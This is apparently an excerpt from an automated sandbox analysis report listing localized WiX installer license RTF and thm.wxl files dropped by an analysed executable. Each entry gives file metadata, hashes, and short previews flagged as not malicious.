Category:	dropped
Size (bytes):	172194
Entropy (8bit):	5.01638369375568
Encrypted:	false
SSDEEP:	1536:2xLiaxbgAMR+MoewktKFDbzJSCPByCy2FWrNj9v:UEoeweBC5+2gh
MD5:	7414872AED21B507D527D2CA8C7E9AAB
SHA1:	D6B8E6418AC69EA337342308D7003AEDFBCED84F
SHA-256:	AC301B888DE1618AB3EB15EA3DFCD6EAE0860BB00715F7E6141DA882712B33DB
SHA-512:	C7D67AC35389EC31673259FEC88EE7549584EAC8685688D524C7A615EF1F738D12CCD6D4244A88B418622BD2374B9A612EAB29161544AEB0A0F5F3BC1891D7FB
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch14\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}..{\f14\fbidi \froman\fcharset136\fprq2{\\panose 02020500000000000000}PMingLiU{\\falt PMingLiU};}{\f15\fbidi \fmodern\fcharset128\fprq1{\\panose 020b0609070205080204}MS Gothic{\\falt ?l?r ?S?V?b?N};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}{\f42\fbidi \fswiss\fcharset

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1028\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.163758160900388
Encrypted:	false
SSDEEP:	48:c5DiTlOtMes9T/JhDXsA9EHSniarRFeOrw8N3mZNNTN2N08CEjMUWFPmDlTKJKy2:uDiTlFrDDsA9tfHP8+8nhM0WamzqDFqD
MD5:	472ABBEDCBAD24DBA5B5F5E8D02C340F
SHA1:	974F62B5C2E149C3879DD16E5A9DBB9406C3DB85
SHA-256:	8E2E660DFB66CB453E17F1B6991799678B1C8B350A55F9EBE2BA0028018A15AD
SHA-512:	676E29378AAED25DE6008D213EFA10D1F5AAD107833E218D71F697E728B7B5B57DE42E7A910F121948D7B1B47AB4F7AE63F71196C747E8AE2B4827F754FC2699
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">[WixBundleName] ....</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">.......?</String>.. <String Id="HelpHeader">....</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - ................. ......................../passive \| /quiet - .... UI ........... UI.... ........... UI ........../norestart - ................UI ............./log log.txt - .........

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1029\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	152078
Entropy (8bit):	5.035620146528953
Encrypted:	false
SSDEEP:	1536:xfLmkIoRprLx/17d1T0CcXcKefPirSh9P:F51jZ1N
MD5:	5712AB5A66835E73400096F7836AF501
SHA1:	D293DDDC23F1564B5205F864DE05FE0E9D5B49A3
SHA-256:	9B8E4D28836F1E65F58E6AA189F126C38416F9607D59C75386D3CD5DD67A32F2
SHA-512:	EA1CA52513CFB1073D97B7C3F8B20B12359351FD572126774EEB98BEFA03D171DA875E4E87C93D6CB5A784B6A024CB5776741F896BF68FBEA7F4304AEA0BA50D
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1029\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3333
Entropy (8bit):	5.370651462060085
Encrypted:	false
SSDEEP:	48:c5DiTlOtesM6H2hDdxHOjZxsaIIy3Iy5sDMN3mkNFN7NwcfiPc3hKPnWZLF0hKqZ:uDiTlVxxHOy/9xXfpZJYnL8xK2S
MD5:	16343005D29EC431891B02F048C7F581
SHA1:	85A14C40C482D9351271F6119D272D19407C3CE9
SHA-256:	07FB3EC174F25DFBE532D9D739234D9DFDA8E9D34F01FE660C5B4D56989FA779
SHA-512:	FF1AE9C21DCFB018DD4EC82A6D43362CB8C591E21F45DD1C25955D83D328B57C8D454BBE33FBC73A70DADF1DFB3AE27502C9B3A8A3FF2DA97085CA0D9A68AB03
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">Instala.n. program [WixBundleName]</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">Opravdu chcete akci zru.it?</String>.. <String Id="HelpHeader">N.pov.da nastaven.</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [adres..] . Nainstaluje, oprav., odinstaluje nebo.. vytvo.. .plnou m.stn. kopii svazku v adres..i. V.choz. mo.nost. je instalace...../passive \| /quiet . Zobraz. minim.ln. u.ivatelsk. rozhran. bez v.zev nebo nezobraz. ..dn. u.ivatelsk. rozhran. a.. ..dn. v.zvy. V.choz. mo.nost. je zobrazen. u.ivatelsk.ho rozhran. a v.ech v.zev...../noresta

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1031\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	139352
Entropy (8bit):	5.0617193292475084
Encrypted:	false
SSDEEP:	768:xIMDeLPi1m0h55sRL/4gQ/INd/SxdO38oklOKOIhTPP5AKqpUZMav1SpaWoPglRX:x7k4+QoRBvxiZ1jp4NKzMyA9br7h9P
MD5:	554065EA0EC2B18ADBD3B55DB3D2CE79
SHA1:	D9146A7D69FA8B1FF783CB414E6DAB8E12550101
SHA-256:	E7A2A0A772AD2E0A9208A15C4843C9ED742F81F51ADE4904B55B2524D046988D
SHA-512:	1CC06AF2ADE89327264F5D9646259BE0DD418F725049886881E446DBB76A0970407E04FA6DCB095DECF743C0FFA37AFD36E291FAA0B771ED743EBFAF965AE289
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1031\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3379
Entropy (8bit):	5.094097800535488
Encrypted:	false
SSDEEP:	48:c5DiTlOZuesXJhDEVTORNxSMoZN3mteNSiNGNsZuiAXEqicMwhPXbhu9KwKlK8Kq:uDiTl3N7xSbu0N8+AhSNnm
MD5:	561F3F32DB2453647D1992D4D932E872
SHA1:	109548642FB7C5CC0159BEDDBCF7752B12B264C0
SHA-256:	8E0DCA6E085744BFCBFF46F7DCBCFA6FBD722DFA52013EE8CEEAF682D7509581
SHA-512:	CEF8C80BEF8F88208E0751305DF519C3D2F1C84351A71098DC73392EC06CB61A4ACA35182A0822CF6934E8EE42196E2BCFE810CC859965A9F6F393858A1242DF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">[WixBundleName] - Setup</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">M.chten Sie den Vorgang wirklich abbrechen?</String>.. <String Id="HelpHeader">Setup-Hilfe</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [Verzeichnis] - installiert, repariert, deinstalliert oder.. erstellt eine vollst.ndige lokale Kopie des Bundles im Verzeichnis. Installieren ist die Standardeinstellung...../passive \| /quiet - zeigt eine minimale Benutzeroberfl.che ohne Eingabeaufforderungen oder keine.. Benutzeroberfl.che und keine Eingabeaufforderungen an. Standardm..ig werden die Benutzeroberfl.che und alle Eingab

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1036\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	141006
Entropy (8bit):	5.045856494683462
Encrypted:	false
SSDEEP:	1536:xna+IUURZjHM2MDmdok34Pd4o2qtnAih9v:JksXnTR
MD5:	91E000FDEBE660F8EC8C670405BEDA1F
SHA1:	8BAA6E62E1C5BA6EA5BA76E38722283217B21282
SHA-256:	B4FF92D5C197E82F52A4E3367338E7CFB449E6DD2771F6E1B5C30687739DE511
SHA-512:	CCBBDDF424AE7746A48C3E108621E33360A67FB166039AD6D3C9F8A6374B86DD9380ABD4064279FC36CC8AF18832603B3028A5EBD6A861DBC030232790E8C88D
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1036\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3366
Entropy (8bit):	5.0912204406356905
Encrypted:	false
SSDEEP:	48:c5DiTlO1BesgKLhD1K8cocDSN3m4NlN2ZfNmXL8ePZFcZkLPqUf9fQKRLKeKqZfj:uDiTlABzH1/qt4qgcXY
MD5:	7B46AE8698459830A0F9116BC27DE7DF
SHA1:	D9BB14D483B88996A591392AE03E245CAE19C6C3
SHA-256:	704DDF2E60C1F292BE95C7C79EE48FE8BA8534CEB7CCF9A9EA68B1AD788AE9D4
SHA-512:	FC536DFADBCD81B42F611AC996059A6264E36ECF72A4AEE7D1E37B87AEFED290CC5251C09B68ED0C8719F655B163AD0782ACD8CE6332ED4AB4046C12D8E6DBF6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">Installation de [WixBundleName]</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">Voulez-vous vraiment annuler.?</String>.. <String Id="HelpHeader">Aide du programme d'installation</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - installe, r.pare, d.sinstalle ou.. cr.e une copie locale compl.te du groupe dans le r.pertoire. Install est l'option par d.faut...../passive \| /quiet - affiche une interface minimale, sans invite, ou n'affiche ni interface.. ni invite. Par d.faut, l'interface et toutes les invites sont affich.es...../norestart - supprime toutes les tentatives de red.

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1040\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	137248
Entropy (8bit):	5.052211156922915
Encrypted:	false
SSDEEP:	768:xIAsG3raxuctlR0dLbAoQbQpdbK952zEwMh2i2Qt/rrlIKCV8FYWzJSVyewrolRg:xXlQq0ER9TlPJRJlGCw27rB/gTrXh9ow
MD5:	2695188EA76F05D28E416EF68A8360DC
SHA1:	B035E972FF9FDD0D354CDCC82BC999EAE2585D4A
SHA-256:	796678DCEBA427B3DB6C4366C64E33242F42746414E34619D03BB3AC7DF61773
SHA-512:	0A936D03EFD352012E0EEB6CDABEDA3C7F95E5FC5DBDB92E22FCBB9C0BAEB8518ABD77E5EE52BC75C65D2990C3A68F552AB4199932A0EF56566E803DC6976ACD
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1040\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3319
Entropy (8bit):	5.019774955491369
Encrypted:	false
SSDEEP:	48:c5DiTlO1eesy+hD9BOtBFv5Vo8BbQhMNDJN3msNlNohNNz+wcPclM+PAoYKp+K/u:uDiTlfQvo8WutJ/s9FHNOJp
MD5:	D90BC60FA15299925986A52861B8E5D5
SHA1:	FADFCA9AB91B1AB4BD7F76132F712357BD6DB760
SHA-256:	0C57F40CC2091554307AA8A7C35DD38E4596E9513E9EFAE00AC30498EF4E9BC2
SHA-512:	11764D0E9F286B5AA7B1A9601170833E462A93A1E569A032FCBA9879174305582BD42794D4131B83FBCFBF1CF868A8D5382B11A4BD21F0F7D9B2E87E3C708C3F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">Installazione di [WixBundleName]</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">Annullare?</String>.. <String Id="HelpHeader">Guida alla configurazione</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - installa, ripara, disinstalla o.. crea una copia locale completa del bundle nella directory. L'opzione predefinita . Install...../passive \| /quiet - visualizza un'interfaccia utente minima senza prompt oppure non visualizza alcuna interfaccia utente.. n. prompt. Per impostazione predefinita viene visualizzata l'intera interfaccia utente e tutti i prompt...../norestart - annulla quals

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1041\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	192070
Entropy (8bit):	4.996677693401952
Encrypted:	false
SSDEEP:	1536:sSLYiGIMksR85oewkXoit1XzI/JdkMwfQVWWMBK9y:tdoewjzcKQ
MD5:	E4B1C1A962F936960A18EFF073CE0F85
SHA1:	7F3B430ED445D403CE7D6D73561BD31241C72743
SHA-256:	1640B64416C29A5369A800A431BCF10EBC2B68A6C9563C185BB25DAEA64B68B4
SHA-512:	77E4FAAAD82B0B1C1205D079A7F4134511D1E58C6C71149896912B9DA2C413B9E5456D129C418FE5DC759A3DDA4DC37E16E269587667CE16740528A31C7085F9
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f15\fbidi \fmodern\fcharset128\fprq1{\\panose 020b0609070205080204}MS Gothic{\\falt ?l?r ?S?V?b?N};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1041\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3959
Entropy (8bit):	5.955167044943003
Encrypted:	false
SSDEEP:	96:uDiTlDuB1n+RNmvFo6bnpojeTPk0R/vueX5OA17IHdGWz:5uB1+gD1DU4EdGE
MD5:	DC81ED54FD28FC6DB6F139C8DA1BDED6
SHA1:	9C719C32844F78AAE523ADB8EE42A54D019C2B05
SHA-256:	6B9BBF90D75CFA7D943F036C01602945FE2FA786C6173E22ACB7AFE18375C7EA
SHA-512:	FD759C42C7740EE9B42EA910D66B0FA3F813600FD29D074BB592E5E12F5EC09DB6B529680E54F7943821CEFE84CE155A151B89A355D99C25A920BF8F254AA008
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.. <Control Control="InstallButton" X="275" Y="237" Width="110" Height="23"/>.. <Control Control="UninstallButton" X="270" Y="237" Width="120" Height="23"/>.. <Control Control="RepairButton" X="187" Y="237" Width="80" Height="23"/>.. .. <String Id="Caption">[WixBundleName] .......</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">.......?</String>.. <String Id="HelpHeader">..........</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - ............ ......... .........................

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1042\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	336800
Entropy (8bit):	4.83259451523418
Encrypted:	false
SSDEEP:	1536:YUsoeY4RprxnsvNNqn3w5GX6u4fp9aCLM18DNJDGsOrhEcJ3w85rl4huyCKYkRi/:Tehp7X
MD5:	33C57BFA5A558EADC27335B5189E56FD
SHA1:	BFE88AC1BF05242F09235E0B18B89B839FE8C0E8
SHA-256:	B694C6AA350D339082744D46B7F22D5FA0E2B238A60BA50CCB25F0263CD6184C
SHA-512:	476EA2D70AC47663CBA440E4D2688F4C92B0306C7A6CDBC1F4D0EAC7188C1D0E99A21C4632E45CB6C94F99DB065240D323BD0A591EF7F09BB05F084467102B0E
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt MS Mincho};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f15\fbidi \fmodern\fcharset128\fprq1{\\panose 020b0609070205080204}MS Gothic{\\falt ?l?r ?S?V?b?N};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}{\f42\fbidi \fswiss\fchar

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1042\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3249
Entropy (8bit):	5.985100495461761
Encrypted:	false
SSDEEP:	48:c5DiTlO4TesKOwhDNJCkt1NhEN3m/NFNkbKNdExpVgUnqx6IPaRc0KoUK9TKz0KR:uDiTlUJJCsgqf6YVoz4uU5vI54U5TY
MD5:	B3399648C2F30930487F20B50378CEC1
SHA1:	CA7BDAB3BFEF89F6FA3C4AAF39A165D14069FC3D
SHA-256:	AD7608B87A7135F408ABF54A897A0F0920080F76013314B00D301D6264AE90B2
SHA-512:	C5B0ECF11F6DADF2E68BC3AA29CC8B24C0158DAE61FE488042D1105341773166C9EBABE43B2AF691AD4D4B458BF4A4BF9689C5722C536439CA3CDC84C0825965
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">[WixBundleName] .. ....</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">........?</String>.. <String Id="HelpHeader">.. ...</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - ..... ... .. .. .... .., .., .. .... ...... ... .........../passive \| /quiet - .... .. .. UI. ..... UI ... ..... .... ..... ..... UI. .. ..... ........../norestart - .. .... .. .... ...

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1045\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	146702
Entropy (8bit):	5.0856537258555266
Encrypted:	false
SSDEEP:	1536:xLrakUMRd3Tvn2/YpMzhCvxAt0puz5RrSh9V1:p5LR11
MD5:	685C9868B96E1B1E3AAD6F445398DDB5
SHA1:	4FECE198C6529B4D85F6A7E2EB812F684D106A6C
SHA-256:	B02A4EF81AF44709937DD763ED06721054AFDEE3E916D8CD969D6F4203FEB8F9
SHA-512:	BEE27D202C99F8902C6221BC877D0FC4EFC1B5E6E4170278C317E2A2C2DD6EBBC1D877BEDB117112D0044074213A0745D0A81E09BBF3F842B66425533CFC393D
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1045\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
